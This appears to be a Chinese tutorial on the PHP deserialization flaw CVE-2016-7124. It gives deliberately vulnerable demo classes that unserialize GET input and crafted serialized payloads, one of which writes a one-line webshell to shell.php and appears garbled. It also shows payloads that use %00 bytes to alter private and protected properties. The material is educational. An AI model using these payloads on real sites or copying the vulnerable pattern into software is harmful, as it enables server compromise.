wakeup()魔法函数
PHP反序列化漏洞CVE-2016-7124
影响范围
1.wakeup()绕过原理demo
//7.php
class wakeup_bug
{
public $a='wakeup';
function __destruct()
{
echo 'I an not '.$this->a;
}
function __wakeup()
{
echo 'I am '.$this->a.'';
}
}
unserialize($_GET['id']);
?>
构造payload:
我们自己按照这个类的格式,构造出一个序列化后的对象,如下
O:10:"wakeup_bug":1:{s:1:"a";s:6:"wakeup";}
同时我们可以发现 __wakeup()在__destruct()函数之前执行,说明,只要存在了反序列化操作,__wakeup()函数的优先级高。
当属性个数值大于真实属性个数值时,可绕过wakeup()函数,我们将自定义的序列化值修改一下,如下
将属性个数改为2>真实属性个数1
O:10:"wakeup_bug":2:{s:1:"a";s:6:"wakeup";}
绕过wakeup()函数成功,只执行了destruct()函数。
2.wakeup()绕过原理demo1
//8.php
class a
{
var $a="test";
function __destruct()
{
$fp=fopen("shell.php","w+")
fputs($fp,$this->a);
fclose($fp);
}
function __wakeup() //清空$a的值
{
foreach(get_object_vars($this) as $b => $c)
{$this->$b=null;}
}
}
?>
由于__wakeup()函数执行先于__destruct()函数,也就是说,在 __destruct()函数执行文件操作 时,而__wakeup()函数已经清空了$a的值,__destruct()函数写入shell.php文件的为空值。
此时就需要绕过__wakeup()函数
构造payload
我们自己按照这个类的格式,构造出一个序列化后的对象,对象的属性值赋予一句话木马,写入文件,如下
O:1:"a":1:{s:1:"a";s:27:"$_POST[123]);?>"}
public属性可以被外部修改而private、proctected属性无法被对象外部修改
原理dome
__toString()函数: 把类当做字符串使用时触发,也就是使用echo打印对象时触发该函数。
//9.php
class stundet
{
public $name='BYF';
private $age='20';
protected $sex='boy';
function __toString()
{
return 'name: '.$this->name.'age: '.$this->age.'sex: '.$this->sex;
}
}
$s1=new stundet();
echo $s1.'';
echo serialize($s1);
?>
下图为demo执行结果
我们发现,序列化后,private变量,和protected变量的结果与public不一样
O:7:"stundet":3:{s:4:"name";s:3:"BYF";s:12:"stundetage";s:2:"20";s:6:"*sex";s:3:"boy";}
private:在序列化后属性名为,类+变量名,且类使用<0x00>空字符相隔,在页面回显中无法看出
proctected:在序列化后属性名为,*+变量名,且*
使用<0x00>空字符相隔,在页面回显中无法看出
由于序列化值中存在<0x00>空字符,占用一个字符,在url中%00为空字符
构造payload
从外部修改private&proctected属性值
O:7:"stundet":3:{s:4:"name";s:3:"SHY";s:12:"%00stundet%00age";s:2:"19";s:6:"%00*%00sex";s:4:"girl";}